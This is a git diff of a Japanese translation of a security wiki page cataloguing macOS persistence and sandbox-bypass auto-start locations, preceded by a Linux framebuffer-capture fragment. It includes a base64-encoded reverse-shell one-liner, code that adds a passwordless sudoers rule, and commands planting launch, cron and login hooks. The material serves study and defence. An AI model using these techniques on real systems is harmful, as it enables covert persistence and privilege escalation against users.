/bin/bash ``` **tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。 -**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 +**videoグループ**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。それを行うためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存され、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 43c480c85..ca1e7e96e 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -1,13 +1,13 @@ -# macOS Auto Start +# macOS 自動起動 {{#include ../banners/hacktricks-training.md}} -このセクションは、ブログシリーズ[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)に大きく基づいており、**より多くの自動起動場所**を追加すること(可能であれば)、最新のmacOS(13.4)で**どの技術がまだ機能しているか**を示し、必要な**権限**を特定することを目的としています。 +このセクションは、ブログシリーズ [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) に大きく基づいており、**より多くの自動起動場所**を追加すること(可能であれば)、最新のmacOS(13.4)で**どの技術がまだ機能しているか**を示し、必要な**権限**を特定することを目的としています。 ## サンドボックスバイパス > [!TIP] -> ここでは、**サンドボックスバイパス**に役立つ起動場所を見つけることができ、**ファイルに書き込む**ことによって何かを単純に実行し、非常に**一般的な****アクション**、特定の**時間**、または通常サンドボックス内から**実行できるアクション**を**待つ**ことができます。ルート権限は必要ありません。 +> ここでは、**サンドボックスバイパス**に役立つ起動場所を見つけることができ、**ファイルに書き込む**ことによって何かを単純に実行し、非常に**一般的な****アクション**、特定の**時間**、または通常サンドボックス内から**ルート権限なしで実行できるアクション**を**待つ**ことができます。 ### Launchd @@ -34,22 +34,22 @@ - **トリガー**: 再ログイン > [!TIP] -> 興味深い事実として、**`launchd`**には、他のよく知られたサービスが起動する必要があることを含む埋め込まれたプロパティリストがMach-oセクション`__Text.__config`にあります。さらに、これらのサービスには`RequireSuccess`、`RequireRun`、`RebootOnSuccess`が含まれており、これらは実行され、成功裏に完了する必要があることを意味します。 +> 興味深い事実として、**`launchd`** には、他のよく知られたサービスを起動するために必要な埋め込まれたプロパティリストがMach-oセクション `__Text.__config` に含まれています。さらに、これらのサービスには `RequireSuccess`、`RequireRun`、`RebootOnSuccess` が含まれており、これらは実行され、成功裏に完了する必要があることを意味します。 > > もちろん、コード署名のために変更することはできません。 #### 説明と悪用 -**`launchd`**は、起動時にOX Sカーネルによって実行される**最初の**プロセスであり、シャットダウン時に終了する**最後の**プロセスです。常に**PID 1**を持つべきです。このプロセスは、次の**ASEP**の**plist**に示された構成を**読み取り、実行**します: +**`launchd`** は、起動時にOX Sカーネルによって実行される**最初の** **プロセス**であり、シャットダウン時に終了する**最後の**プロセスです。常に**PID 1**を持つべきです。このプロセスは、次の**ASEP** **plist**に示された設定を**読み取り、実行**します: - `/Library/LaunchAgents`: 管理者によってインストールされたユーザーごとのエージェント - `/Library/LaunchDaemons`: 管理者によってインストールされたシステム全体のデーモン - `/System/Library/LaunchAgents`: Appleによって提供されたユーザーごとのエージェント - `/System/Library/LaunchDaemons`: Appleによって提供されたシステム全体のデーモン -ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents`および`/Users/$USER/Library/LaunchDemons`にあるplistが**ログインしたユーザーの権限**で開始されます。 +ユーザーがログインすると、`/Users/$USER/Library/LaunchAgents` および `/Users/$USER/Library/LaunchDemons` にあるplistが**ログインしたユーザーの権限**で開始されます。 -エージェントとデーモンの**主な違いは、エージェントはユーザーがログインしたときに読み込まれ、デーモンはシステム起動時に読み込まれる**ことです(sshのようなサービスは、ユーザーがシステムにアクセスする前に実行する必要があります)。また、エージェントはGUIを使用できる一方で、デーモンはバックグラウンドで実行する必要があります。 +**エージェントとデーモンの主な違いは、エージェントはユーザーがログインしたときに読み込まれ、デーモンはシステム起動時に読み込まれる**ことです(sshのようなサービスは、ユーザーがシステムにアクセスする前に実行する必要があります)。また、エージェントはGUIを使用できる一方で、デーモンはバックグラウンドで実行する必要があります。 ```xml @@ -75,7 +75,7 @@ **エージェントはユーザーがログインする前に実行される必要がある場合があり**、これらは**PreLoginAgents**と呼ばれます。例えば、これはログイン時に支援技術を提供するのに便利です。これらは`/Library/LaunchAgents`にも見つけることができます(例は[**こちら**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)を参照)。 > [!NOTE] -> 新しいデーモンまたはエージェントの設定ファイルは、**次回の再起動後または** `launchctl load `を使用して**読み込まれます**。**拡張子なしの.plistファイルを読み込むことも可能です** `launchctl -F `(ただし、これらのplistファイルは再起動後に自動的に読み込まれません)。\ +> 新しいデーモンまたはエージェントの設定ファイルは、**次回の再起動後または** `launchctl load `を使用して**読み込まれます**。**拡張子なしの.plistファイルを読み込むことも可能です** `launchctl -F `(ただし、これらのplistファイルは再起動後に自動的には読み込まれません)。\ > `launchctl unload `を使用して**アンロード**することも可能です(それによって指摘されたプロセスは終了します)。 > > **エージェント**または**デーモン**が**実行されない**ように**何も**(オーバーライドなど)が**ないことを確認するために**、次のコマンドを実行します:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` @@ -89,7 +89,7 @@ launchctl list #### launchdに関する詳細 -**`launchd`**は、**カーネル**から開始される**最初の**ユーザーモードプロセスです。プロセスの開始は**成功**しなければならず、**終了またはクラッシュ**してはいけません。いくつかの**終了信号**に対しても**保護**されています。 +**`launchd`**は、**カーネル**から開始される**最初の**ユーザーモードプロセスです。プロセスの開始は**成功**しなければならず、**終了したりクラッシュしたりしてはいけません**。それは一部の**終了シグナル**からも**保護されています**。 `launchd`が最初に行うことの1つは、次のようなすべての**デーモン**を**開始**することです: @@ -98,8 +98,8 @@ launchctl list - crond (`com.apple.systemstats.daily.plist`): `StartCalendarInterval`が00:15に開始 - **ネットワークデーモン**: - `org.cups.cups-lpd`: TCPでリッスン(`SockType: stream`)し、`SockServiceName: printer` -- SockServiceNameは、`/etc/services`からのポートまたはサービスでなければなりません -- `com.apple.xscertd.plist`: ポート1640でTCPにリッスン +- SockServiceNameは、`/etc/services`のポートまたはサービスでなければなりません +- `com.apple.xscertd.plist`: TCPのポート1640でリッスン - **指定されたパスが変更されたときに実行されるパスデーモン**: - `com.apple.postfix.master`: パス`/etc/postfix/aliases`をチェック - **IOKit通知デーモン**: @@ -107,7 +107,7 @@ launchctl list - **Machポート**: - `com.apple.xscertd-helper.plist`: `MachServices`エントリに`com.apple.xscertd.helper`という名前を示しています - **UserEventAgent**: -- これは前のものとは異なります。特定のイベントに応じてlaunchdがアプリを生成します。ただし、この場合、関与するメインバイナリは`launchd`ではなく`/usr/libexec/UserEventAgent`です。これは、SIP制限フォルダー/System/Library/UserEventPlugins/からプラグインをロードし、各プラグインは`XPCEventModuleInitializer`キーに初期化子を示すか、古いプラグインの場合はその`Info.plist`の`FB86416D-6164-2070-726F-70735C216EC0`キーの下の`CFPluginFactories`辞書に示します。 +- これは前のものとは異なります。特定のイベントに応じてlaunchdがアプリを生成します。しかし、この場合、関与するメインバイナリは`launchd`ではなく`/usr/libexec/UserEventAgent`です。これは、SIP制限フォルダー/System/Library/UserEventPlugins/からプラグインをロードし、各プラグインは`XPCEventModuleInitializer`キーに初期化子を示すか、古いプラグインの場合は`Info.plist`の`FB86416D-6164-2070-726F-70735C216EC0`キーの下の`CFPluginFactories`辞書に示します。 ### シェルスタートアップファイル @@ -166,7 +166,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc 再オープンされるすべてのアプリケーションは、plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` 内にあります。 -したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**リストにアプリを追加するだけです**。 +したがって、再オープンされるアプリケーションに自分のアプリを起動させるには、**リストにアプリを追加するだけ**です。 UUIDは、そのディレクトリをリスト表示するか、`ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` を使用して見つけることができます。 @@ -190,7 +190,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist - サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) - TCCバイパス: [✅](https://emojipedia.org/check-mark-button) -- ターミナルはユーザーが使用するFDA権限を持つ +- ターミナルはユーザーが使用するFDA権限を持っている #### 場所 @@ -205,7 +205,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist
-この設定は、ファイル **`~/Library/Preferences/com.apple.Terminal.plist`** に次のように反映されます: +この設定は、**`~/Library/Preferences/com.apple.Terminal.plist`** ファイルに次のように反映されます: ```bash [...] "Window Settings" => { @@ -221,9 +221,9 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist } [...] ``` -システムのターミナルの設定のplistが上書きできる場合、**`open`** 機能を使用して **ターミナルを開き、そのコマンドが実行される** ことができます。 +したがって、システムのターミナルの設定のplistが上書きできる場合、**`open`** 機能を使用して **ターミナルを開き、そのコマンドが実行されます**。 -これをCLIから追加するには: +これをCLIから追加できます: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -275,7 +275,7 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` -あなたは、通常のシェルスクリプトの内容を持つ拡張子 **`.command`**、**`.tool`** を使用することもでき、これらはTerminalによっても開かれます。 +あなたはまた、通常のシェルスクリプトの内容を持つ拡張子 **`.command`**、**`.tool`** を使用することができ、これらもTerminalによって開かれます。 > [!CAUTION] > Terminalが**フルディスクアクセス**を持っている場合、そのアクションを完了することができます(実行されたコマンドはターミナルウィンドウに表示されることに注意してください)。 @@ -305,7 +305,7 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:// #### 説明 -以前の書き込みによると、**いくつかのオーディオプラグインをコンパイル**して読み込むことが可能です。 +以前の書き込みによると、**いくつかのオーディオプラグインをコンパイル**し、それらをロードすることが可能です。 ### QuickLookプラグイン @@ -327,12 +327,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g QuickLookプラグインは、**ファイルのプレビューをトリガーしたとき**(Finderでファイルを選択してスペースバーを押す)に実行され、**そのファイルタイプをサポートするプラグイン**がインストールされている必要があります。 -自分のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置して読み込ませ、サポートされているファイルに移動してスペースを押してトリガーすることが可能です。 +自分のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置してロードし、サポートされているファイルに移動してスペースを押してトリガーすることが可能です。 ### ~~ログイン/ログアウトフック~~ > [!CAUTION] -> これは私には機能しませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした。 +> これは私には機能しませんでした。ユーザーログインフックでもルートログアウトフックでもありませんでした **Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) @@ -341,7 +341,7 @@ QuickLookプラグインは、**ファイルのプレビューをトリガーし #### ロケーション -- `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`のようなコマンドを実行できる必要があります +- `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`のようなものを実行できる必要があります - `~/Library/Preferences/com.apple.loginwindow.plist`にあります これらは非推奨ですが、ユーザーがログインするときにコマンドを実行するために使用できます。 @@ -371,44 +371,44 @@ oneTimeSSMigrationComplete = 1; defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` -ルートユーザーのものは**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**に保存されています。 +ルートユーザーのものは **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** に保存されています。 ## 条件付きサンドボックスバイパス > [!TIP] -> ここでは、**サンドボックスバイパス**に役立つスタートロケーションを見つけることができ、**ファイルに書き込む**ことで何かを単純に実行し、特定の**プログラムがインストールされている、"珍しい"ユーザー**アクションや環境のような**あまり一般的でない条件**を期待することができます。 +> ここでは、**サンドボックスバイパス** に役立つスタートロケーションを見つけることができ、**ファイルに書き込む** ことで何かを単純に実行し、特定の **プログラムがインストールされている、"珍しい" ユーザー** アクションや環境のような **あまり一般的でない条件** を期待することができます。 ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) - サンドボックスをバイパスするのに役立ちます: [✅](https://emojipedia.org/check-mark-button) -- ただし、`crontab`バイナリを実行できる必要があります -- または、ルートである必要があります +- ただし、`crontab` バイナリを実行できる必要があります +- またはルートである必要があります - TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) #### ロケーション - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** -- 直接書き込みアクセスにはルートが必要です。`crontab `を実行できる場合はルートは不要です +- 直接書き込みアクセスにはルートが必要です。`crontab ` を実行できる場合はルートは不要です - **トリガー**: cronジョブに依存します #### 説明と悪用 -現在の**ユーザー**のcronジョブをリストします: +現在のユーザーのcronジョブをリストするには: ```bash crontab -l ``` -ユーザーのすべてのcronジョブは**`/usr/lib/cron/tabs/`**および**`/var/at/tabs/`**で見ることができます(rootが必要です)。 +ユーザーのすべてのcronジョブは**`/usr/lib/cron/tabs/`**および**`/var/at/tabs/`**で見ることができます(root権限が必要です)。 MacOSでは、**特定の頻度**でスクリプトを実行するいくつかのフォルダーが見つかります: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` -そこでは、通常の **cron** **ジョブ**、**at** **ジョブ**(あまり使用されない)、および **定期的** **ジョブ**(主に一時ファイルのクリーンアップに使用される)を見つけることができます。毎日の定期的ジョブは、例えば次のように実行できます: `periodic daily`。 +そこでは、通常の **cron** **ジョブ**、**at** **ジョブ**(あまり使用されない)、および **periodic** **ジョブ**(主に一時ファイルのクリーンアップに使用される)を見つけることができます。毎日の定期ジョブは、例えば `periodic daily` で実行できます。 -**ユーザーのcronジョブをプログラム的に**追加するには、次のようにすることができます: +**ユーザークロンジョブをプログラム的に追加する**には、次のようにすることができます: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron @@ -497,7 +497,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) - サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) -- ただし、xbarをインストールする必要があります +- ただしxbarをインストールする必要があります - TCCバイパス: [✅](https://emojipedia.org/check-mark-button) - アクセシビリティの権限を要求します @@ -552,7 +552,7 @@ EOF - `~/Library/Application Support/BetterTouchTool/*` -このツールは、特定のショートカットが押されたときに実行するアプリケーションやスクリプトを指定することを可能にします。攻撃者は、**データベース内で自分のショートカットと実行アクションを構成して、任意のコードを実行させる**ことができるかもしれません(ショートカットは単にキーを押すことかもしれません)。 +このツールは、特定のショートカットが押されたときに実行するアプリケーションやスクリプトを指定することを可能にします。攻撃者は、**データベース内で実行するためのショートカットとアクションを構成することができるかもしれません**(ショートカットは単にキーを押すことかもしれません)。 ### Alfred @@ -614,7 +614,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.g #### Description -システム環境設定 -> ユーザーとグループ -> **ログイン項目**で、**ユーザーがログインしたときに実行される項目**を見つけることができます。\ +システム環境設定 -> ユーザーとグループ -> **Login Items** で、**ユーザーがログインしたときに実行されるアイテム**を見つけることができます。\ それらをリストし、コマンドラインから追加および削除することが可能です: ```bash #List all items: @@ -626,17 +626,17 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` -これらの項目はファイル **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** に保存されています。 +これらのアイテムはファイル **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** に保存されています。 -**ログイン項目** は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用しても示されることがあり、設定は **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** に保存されます。 +**ログインアイテム** は、API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) を使用しても示されることがあり、設定は **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** に保存されます。 -### ZIPをログイン項目として +### ZIPをログインアイテムとして -(ログイン項目に関する前のセクションを参照してください、これは拡張です) +(ログインアイテムに関する前のセクションを参照してください、これは拡張です) -**ZIP** ファイルを **ログイン項目** として保存すると、**`Archive Utility`** がそれを開きます。例えば、ZIPが **`~/Library`** に保存され、**`LaunchAgents/file.plist`** フォルダーにバックドアが含まれている場合、そのフォルダーが作成され(デフォルトでは作成されません)、plistが追加されるため、次回ユーザーが再ログインすると、**plistに示されたバックドアが実行されます**。 +**ZIP** ファイルを **ログインアイテム** として保存すると、**`Archive Utility`** がそれを開き、例えば ZIP が **`~/Library`** に保存されていて、**`LaunchAgents/file.plist`** フォルダーにバックドアが含まれている場合、そのフォルダーが作成され(デフォルトでは作成されません)、plist が追加されるため、次回ユーザーが再ログインすると、**plist に示されたバックドアが実行されます**。 -別のオプションは、ユーザーのHOME内に **`.bash_profile`** と **`.zshenv`** ファイルを作成することで、LaunchAgentsフォルダーがすでに存在する場合でもこの技術は機能します。 +別のオプションは、ユーザーの HOME 内に **`.bash_profile`** と **`.zshenv`** ファイルを作成することで、LaunchAgents フォルダーがすでに存在する場合でもこの技術は機能します。 ### at @@ -644,7 +644,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.g - サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) - しかし、**`at`** を **実行** する必要があり、**有効** でなければなりません -- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) +- TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) #### 場所 @@ -652,7 +652,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.g #### **説明** -`at` タスクは、特定の時間に実行される **一度きりのタスクをスケジュールする** ために設計されています。cronジョブとは異なり、`at` タスクは実行後に自動的に削除されます。これらのタスクはシステムの再起動を超えて持続するため、特定の条件下では潜在的なセキュリティ上の懸念としてマークされることが重要です。 +`at` タスクは、特定の時間に実行される **一度限りのタスクをスケジュールする** ために設計されています。cron ジョブとは異なり、`at` タスクは実行後に自動的に削除されます。これらのタスクはシステムの再起動を超えて持続するため、特定の条件下で潜在的なセキュリティ上の懸念としてマークされることが重要です。 **デフォルト** では **無効** ですが、**root** ユーザーは **それらを有効** にすることができます: ```bash @@ -787,7 +787,7 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` -`osacompile -l JavaScript -o folder.scpt source.js` でコンパイルします。 +`osacompile -l JavaScript -o folder.scpt source.js` を使ってコンパイルします。 移動先: ```bash @@ -835,7 +835,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ドックに表示されるすべてのアプリケーションは、plist内に指定されています:**`~/Library/Preferences/com.apple.dock.plist`** -アプリケーションを**追加する**ことは、次のようにして可能です: +**アプリケーションを追加する**ことが可能です: ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -843,7 +843,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data [!CAUTION] -> 注意してください。このコードを読み込むバイナリの権限内に(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)**`com.apple.security.app-sandbox`**が含まれているため、あなたは**一般的なアプリケーションサンドボックス内**にいます。 +> このコードを読み込むバイナリの権限内に(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)**`com.apple.security.app-sandbox`**が含まれているため、あなたは**一般的なアプリケーションサンドボックス内**にいることになります。 Saver code: ```objectivec @@ -1079,11 +1079,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g #### Description & Exploitation SpotlightはmacOSの組み込み検索機能であり、ユーザーに**コンピュータ上のデータへの迅速かつ包括的なアクセスを提供する**ことを目的としています。\ -この迅速な検索機能を実現するために、Spotlightは**独自のデータベース**を維持し、**ほとんどのファイルを解析することによってインデックスを作成し**、ファイル名とその内容の両方を迅速に検索できるようにしています。 +この迅速な検索機能を実現するために、Spotlightは**独自のデータベース**を維持し、**ほとんどのファイルを解析することによってインデックスを作成**し、ファイル名とその内容の両方を迅速に検索できるようにしています。 -Spotlightの基本的なメカニズムは、**'metadata server'**を意味する'mds'という中央プロセスに関与しています。このプロセスは、Spotlightサービス全体を調整します。これに加えて、さまざまなメンテナンスタスクを実行する複数の'mdworker'デーモンがあります(`ps -ef | grep mdworker`)。これらのタスクは、Spotlightがさまざまなファイル形式のコンテンツを理解しインデックス化できるようにするSpotlightインポータープラグイン、または**".mdimporter bundles"**によって可能になります。 +Spotlightの基本的なメカニズムは、**'metadata server'**を意味する中央プロセス「mds」に関与しています。このプロセスは、Spotlightサービス全体を調整します。これに加えて、さまざまなメンテナンスタスクを実行する複数の「mdworker」デーモンがあります(`ps -ef | grep mdworker`)。これらのタスクは、Spotlightがさまざまなファイル形式のコンテンツを理解し、インデックスを作成できるようにするSpotlightインポータープラグイン、または**".mdimporter bundles"**によって可能になります。 -プラグインまたは**`.mdimporter`**バンドルは前述の場所にあり、新しいバンドルが現れると、数分以内にロードされます(サービスを再起動する必要はありません)。これらのバンドルは、管理できる**ファイルタイプと拡張子**を示す必要があります。このようにして、Spotlightは指定された拡張子の新しいファイルが作成されたときにそれらを使用します。 +プラグインまたは**`.mdimporter`**バンドルは前述の場所にあり、新しいバンドルが現れると、数分以内に読み込まれます(サービスを再起動する必要はありません)。これらのバンドルは、管理できる**ファイルタイプと拡張子**を示す必要があります。これにより、Spotlightは指定された拡張子の新しいファイルが作成されたときにそれらを使用します。 すべての`mdimporters`を見つけることが可能です。 ```bash @@ -1135,10 +1135,10 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist > > さらに、システムのデフォルトプラグインは常に優先されるため、攻撃者はApple自身の `mdimporters` によってインデックスされていないファイルにのみアクセスできます。 -独自のインポータを作成するには、このプロジェクトから始めることができます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) そして名前、**`CFBundleDocumentTypes`** を変更し、サポートしたい拡張子をサポートするために **`UTImportedTypeDeclarations`** を追加し、**`schema.xml`** に反映させます。\ -次に、ファイルが処理された拡張子で作成されたときにペイロードを実行するように、関数 **`GetMetadataForFile`** のコードを **変更** します。 +独自のインポーターを作成するには、このプロジェクトから始めることができます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) そして名前、**`CFBundleDocumentTypes`** を変更し、サポートしたい拡張子をサポートするために **`UTImportedTypeDeclarations`** を追加し、**`schema.xml`** に反映させます。\ +次に、ファイルが処理された拡張子で作成されたときにペイロードを実行するように、関数 **`GetMetadataForFile`** のコードを**変更**します。 -最後に、**新しい `.mdimporter` をビルドしてコピー**し、以前のいずれかの場所に配置し、**ログを監視する**か **`mdimport -L.`** をチェックして、読み込まれているかどうかを確認できます。 +最後に、**新しい `.mdimporter` をビルドしてコピー**し、以前のいずれかの場所に配置し、**ログを監視する**か、**`mdimport -L.`** をチェックして、読み込まれているかどうかを確認できます。 ### ~~Preference Pane~~ @@ -1147,7 +1147,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) - 特定のユーザーアクションが必要です - TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) @@ -1164,13 +1164,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g ## Root Sandbox Bypass > [!TIP] -> ここでは、**ルート** で **ファイルに書き込む** ことによって何かを単純に実行できる **サンドボックスバイパス** に役立つ開始位置を見つけることができます。 +> ここでは、**ルート**として **ファイルに書き込む** ことで何かを単純に実行できる **サンドボックスバイパス** に役立つ開始位置を見つけることができます。また、他の **奇妙な条件** が必要です。 ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- サンドボックスをバイパスするのに役立ちます: [🟠](https://emojipedia.org/large-orange-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) - しかし、ルートである必要があります - TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) @@ -1216,7 +1216,7 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` -**`/etc/defaults/periodic.conf`** に示されている他の定期的なスクリプトが実行されます: +他に定期的に実行されるスクリプトがあり、**`/etc/defaults/periodic.conf`** に示されています: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts @@ -1226,7 +1226,7 @@ monthly_local="/etc/monthly.local" # Local scripts もし `/etc/daily.local`、`/etc/weekly.local`、または `/etc/monthly.local` のいずれかのファイルを書き込むことができれば、それは**遅かれ早かれ実行されます**。 > [!WARNING] -> 定期的なスクリプトは**スクリプトの所有者として実行される**ことに注意してください。したがって、通常のユーザーがスクリプトを所有している場合、それはそのユーザーとして実行されます(これにより特権昇格攻撃が防止される可能性があります)。 +> 定期的なスクリプトは**スクリプトの所有者として実行される**ことに注意してください。したがって、通常のユーザーがスクリプトを所有している場合、そのユーザーとして実行されます(これにより特権昇格攻撃が防止される可能性があります)。 ### PAM @@ -1286,7 +1286,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) - サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) -- しかし、root権限が必要で、追加の設定が必要です +- ただし、root権限が必要で、追加の設定が必要です - TCCバイパス: ??? #### 場所 @@ -1297,7 +1297,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza #### 説明と悪用 -ユーザーがログインするときに実行される認証プラグインを作成して、持続性を維持できます。これらのプラグインの作成方法についての詳細は、前の書き込みを確認してください(注意してください、適切に書かれていないものはロックアウトされ、リカバリーモードからMacをクリーンアップする必要があります)。 +ユーザーがログインするときに実行される認証プラグインを作成して、持続性を維持できます。これらのプラグインの作成方法についての詳細は、前の書き込みを確認してください(注意してください、適切に書かれていないとロックアウトされ、リカバリーモードからMacをクリーンアップする必要があります)。 ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1316,7 +1316,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` -最後に、このプラグインをロードする**ルール**を追加します: +最後に、このプラグインをロードする**ルール**を追加します: ```bash cat > /tmp/rule.plist < @@ -1335,13 +1335,13 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -**`evaluate-mechanisms`**は、認証フレームワークに**外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、それをrootによって実行させます。 +**`evaluate-mechanisms`**は、認証フレームワークに**外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、rootによって実行されるようにします。 次のコマンドでトリガーします: ```bash security authorize com.asdf.asdf ``` -そして、**スタッフグループはsudo**アクセスを持っている必要があります(確認するには`/etc/sudoers`を読む)。 +そして、**スタッフグループはsudo**アクセスを持つべきです(確認するには`/etc/sudoers`を読んでください)。 ### Man.conf @@ -1441,9 +1441,9 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn **StartupItem**は、`/Library/StartupItems/`または`/System/Library/StartupItems/`のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、2つの特定のファイルを含む必要があります: 1. **rcスクリプト**:スタートアップ時に実行されるシェルスクリプト。 -2. **plistファイル**:特に`StartupParameters.plist`という名前のファイルで、さまざまな設定が含まれています。 +2. **plistファイル**:特に`StartupParameters.plist`という名前のファイルで、さまざまな設定を含みます。 -スタートアッププロセスがそれらを認識し利用できるように、rcスクリプトと`StartupParameters.plist`ファイルの両方が**StartupItem**ディレクトリ内に正しく配置されていることを確認してください。 